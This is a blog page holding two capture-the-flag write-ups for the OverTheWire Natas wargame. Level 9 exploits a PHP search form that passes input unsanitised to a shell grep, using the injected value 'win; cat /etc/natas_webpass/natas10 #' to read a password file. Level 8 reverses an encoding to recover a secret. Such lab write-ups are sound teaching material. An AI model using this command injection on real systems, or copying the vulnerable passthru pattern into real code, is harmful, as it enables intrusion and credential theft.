<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx0ftPWdxi_Pu4nYbBVO9jWiiKpBY2D46ZIi5J3J08OEBBWpT1ZPBi6qbOvWr6HwONhCbcGAT_0_Lg8K1jeuQE_nujHkfhDehExyPTvUGZYIg8NTLFo9a0h2eP2vtKarmnAq0rebwMew/s1600/natas9.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx0ftPWdxi_Pu4nYbBVO9jWiiKpBY2D46ZIi5J3J08OEBBWpT1ZPBi6qbOvWr6HwONhCbcGAT_0_Lg8K1jeuQE_nujHkfhDehExyPTvUGZYIg8NTLFo9a0h2eP2vtKarmnAq0rebwMew/s640/natas9.PNG" width="640" /></a></div>
<br />
<a name='more'></a>As always, it's off to the source for more info:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
We can see that this code takes in a keyword as input, and uses the passthru function to perform a system command to grep through a file for the specified keyword. Without sanitation, a command execution vulnerability exists in this code. Let's exploit it to obtain the password for natas10 (located in /etc/natas_webpass/natas10). We can do so using the following 'keyword':<br />
<br />
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">win; cat /etc/natas_webpass/natas10 #</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: left;">
This command terminates the grep command (using the 'win' keyword), and cats the output of the natas10 password file. It then comments out the reference to 'dictionary.txt'. Let's see what happens:</div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlF59mLrEGyVGhM8jmcg6GxZrlN56vdltFz9t6sGuW6z0LV6sioAHxZ_FuNydigj3iZdVTF8t1Z0s-Tg4m4BQVkvmeFzxDk_mcIuaFeutBc1s2ezwKCjN8UltothhjUYeWk7-piEglA/s1600/natas9_success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlF59mLrEGyVGhM8jmcg6GxZrlN56vdltFz9t6sGuW6z0LV6sioAHxZ_FuNydigj3iZdVTF8t1Z0s-Tg4m4BQVkvmeFzxDk_mcIuaFeutBc1s2ezwKCjN8UltothhjUYeWk7-piEglA/s640/natas9_success.PNG" width="640" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Just as we expected, we are given the password for natas10, which we can use to log in to the next challenge. More writeups to come.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com0tag:blogger.com,1999:blog-33242194251147061.post-41795454249675589242012-10-29T18:03:00.002-05:002012-10-29T18:22:44.798-05:00OvertheWire - Natas Wargame Level 8 Writeup<span style="font-size: large;">Level 8</span><br />
<br />
Using the credentials obtained in the <a href="http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-7.html" target="_blank">previous writeup</a>, we can log in to Level 8, in which we are presented with the following screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbsucRmj2wxeb4MAHIZ4za0u5eVFfwAL1P66AjqA8HVImk3kxvrUwKaG4MfxIkZh5fEu6fekA6f2BUDHOBiB40LlPGac9dBtAEJJiAnl3KKRbeE59LNQtAXGQOEozcjSI7J_n2zPHmUg/s1600/natas8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbsucRmj2wxeb4MAHIZ4za0u5eVFfwAL1P66AjqA8HVImk3kxvrUwKaG4MfxIkZh5fEu6fekA6f2BUDHOBiB40LlPGac9dBtAEJJiAnl3KKRbeE59LNQtAXGQOEozcjSI7J_n2zPHmUg/s640/natas8.PNG" width="640" /></a></div>
<br /><a name='more'></a>It appears as though we must find another secret to obtain the password for natas9. Let's view the source code:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
We see that this code performs the "encodeSecret" function on our input, and compares it with the <i style="font-weight: bold;">already encoded</i> $encodedSecret variable. Therefore, we can perform the inverse of the encodeSecret function on our already encoded secret value to obtain the original value.<br />
<br />
There are a couple of things to note:<br />
<br />
<ul>
<li>We must do the operations in reverse order since this is the inverse function.</li>
<li>The hex2bin function is only available in PHP >= 5.4.0. Since I had a Backtrack R3 instance available that had PHP 5.3.2, I had to resort to <a href="http://php.net/manual/en/function.hex2bin.php" target="_blank">the documentation</a> to find the alternative: <span style="font-family: Courier New, Courier, monospace;">pack ("H*", $str)</span></li>
</ul>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">I obtained the original secret using the following:</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> root@bt:~# php5
<?
echo base64_decode(strrev(pack("H*" , "3d3d516343746d4d6d6c315669563362")))
?>
oubWYf2kBq
</code></pre>
<div>
<span style="font-family: inherit;"><br /></span>
We can then put use this secret to (hopefully) obtain the password for natas9:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjor-ditQROEbpTrVWbeh-aCaDFSAkiWuxD5q8gH-5mNysd-GBvyeajDKmUs3CON6kJeNv6zkogY4x87hQCDd4O-4Pz2OxJmjEhfxh0hUzjb4JrDOpa4k2aGyXjy7FKmKvJmiq0zU_4rA/s1600/natas8_success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjor-ditQROEbpTrVWbeh-aCaDFSAkiWuxD5q8gH-5mNysd-GBvyeajDKmUs3CON6kJeNv6zkogY4x87hQCDd4O-4Pz2OxJmjEhfxh0hUzjb4JrDOpa4k2aGyXjy7FKmKvJmiq0zU_4rA/s640/natas8_success.PNG" width="640" /></a></div>
<br />
Just as we hoped, we are presented with the password which we can use to log in to the next level. More writeups to come.<br />
<br />
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1